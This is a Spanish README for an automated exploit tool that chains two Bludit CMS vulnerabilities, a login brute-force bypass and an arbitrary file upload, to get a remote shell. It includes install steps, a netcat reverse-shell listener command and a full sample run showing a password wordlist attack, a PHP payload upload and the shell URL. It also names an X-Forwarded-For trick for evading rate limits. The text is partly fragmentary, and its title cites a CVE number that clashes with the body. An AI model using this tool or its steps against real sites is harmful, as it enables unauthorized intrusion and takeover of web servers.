
cve-2016-16113
_ _____ ___ _
__| |___ /_ ___ __ / _ \ _ __ ___ (_)
/ _` | |_ \ \ / / '_ \| | | | '_ ` _ \| |
| (_| |___) \ V /| | | | |_| | | | | | | |
\__,_|____/ \_/ |_| |_|\___/|_| |_| |_|_|
Una herramienta de explotación automatizada que combina CVE-2019-17240 (bypass de autenticación) y CVE-2019-16113 (carga arbitraria de archivos) para lograr ejecución remota de código en instalaciones vulnerables de Bludit CMS.
SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS
Esta herramienta está destinada a profesionales de seguridad que realicen pruebas de penetración autorizadas e investigadores de seguridad que operen dentro de los límites legales. El acceso no autorizado a sistemas informáticos es ilegal según leyes como la Computer Fraud and Abuse Act (CFAA) en Estados Unidos y legislaciones similares en todo el mundo.
Al usar esta herramienta, aceptas:
El autor no asume ninguna responsabilidad y no se hace responsable de ningún uso indebido o daño causado por esta herramienta.
Este exploit automatiza el proceso de:
Versiones afectadas: Bludit CMS versiones 3.9.2 e inferiores
requests# Clonar el repositorio
git clone https://github.com/yourusername/get-rce.git
cd get-rce
# Instalar dependencias
pip install -r requirements.txt
requirements.txt:
requests>=2.25.0
python3 get_rce.py
El script te solicitará:
https://target.com)Antes de ejecutar el exploit, configura un listener con netcat:
nc -lvnp 4444
Reemplaza 4444 con el puerto que elijas.
$ python3 get_rce.py
Enter target URL (i.e. https://target.com): http://10.10.10.191
[ ~ ] Enter listener's IP: 10.10.14.5
[ ~ ] Enter listener's port: 4444
[...] Checking if the target is live...
[ + ] The target is live! We are good to go...
[ ~ ] Should I bruteforce username? [Y/N]: N
[ ~ ] What username should I use? (leave this to use admin as username):
[...] We are gonna default to 'admin' as username.
[ ~ ] Enter the location for password list: /usr/share/wordlists/rockyou.txt
[ * ] Tried: 123456
[ * ] Tried: password
[ * ] Tried: 12345678
...
[ + ] Creds found: admin:Password123
[ + ] Login succeed... We are good to go :)
[ + ] The payload XyZaBcDeFg.php has been uploaded...
[ + ] The payload .htaccess has been uploaded...
[...] Attempting to get a shell... @ http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php
[ + ] You should be getting a shell by now, if not open http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php
Should I bruteforce username? [Y/N]: N
What username should I use?: admin
Enter the location for password list: /path/to/passwords.txt
Should I bruteforce username? [Y/N]: Y
Enter the location for username wordlist: /path/to/usernames.txt
Enter the location for password wordlist: /path/to/passwords.txt
SecLists: https://github.com/danielmiessler/SecLists
SecLists/Usernames/Names/names.txtSecLists/Passwords/Common-Credentials/10-million-password-list-top-1000.txtRockYou: /usr/share/wordlists/rockyou.txt (Kali Linux)
X-Forwarded-For para evitar la limitación de tasa/bl-content/tmp/.htaccess para asegurar la ejecuciónSi eres administrador de sistemas:
/bl-content/tmp/ en busca de archivos sospechososProblema: "El objetivo parece estar caído"
Problema: "Inicio de sesión fallido"
Problema: "No se recibió la shell"
d3vn0mi
Este proyecto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Consulta el aviso legal al principio de este README.
¡Las contribuciones, problemas y solicitudes de funciones son bienvenidas! No dudes en visitar la página de issues.